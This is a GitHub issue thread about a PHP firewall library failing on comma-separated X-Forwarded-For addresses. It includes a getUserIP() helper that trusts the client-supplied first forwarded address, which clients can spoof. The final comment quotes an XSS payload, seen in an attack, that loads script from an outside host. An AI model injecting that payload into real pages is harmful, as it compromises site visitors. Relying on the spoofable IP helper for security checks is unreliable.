firewall icon indicating copy to clipboard operation
firewall copied to clipboard

Comma-separated multiple IP address cause error "gethostbyaddr(): Address is not a valid IPv4 or IPv6 address"

Open jordanade opened this issue 5 years ago • 3 comments

Apparently I'm getting a lot of these errors because the code (Firewall.php:270) is relying on HTTP_X_FORWARDED_FOR which can contain multiple addresses separated by commas.

jordanade avatar Nov 02 '19 00:11 jordanade

See https://www.jamescrowley.net/2007/06/19/gotcha-http-x-forwarded-for-returns-multiple-ip-addresses/

jordanade avatar Nov 02 '19 00:11 jordanade

Here's code I use to reliably get the actual user IP:

function getUserIP()
{
	if (getenv('HTTP_X_FORWARDED_FOR')) {
		$ip = getenv('HTTP_X_FORWARDED_FOR');
		if ($first_ip_in_list = stristr($ip, ',', true))
			$ip = $first_ip_in_list;
	}
	elseif (getenv('HTTP_X_REAL_IP')) {
		$ip = getenv('HTTP_X_REAL_IP');
	}
	else {
		$ip = $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
	}
	return $ip;
}

jordanade avatar Nov 02 '19 00:11 jordanade

Related to this is another issue where malformed HTTP_X_FORWARDED_FOR is being used as an attack vector—I recently got this error with the following value: \"><script type=text/javascript src='https://css.digestcolect.com/stm?&tp=3'></script>

jordanade avatar May 13 '20 08:05 jordanade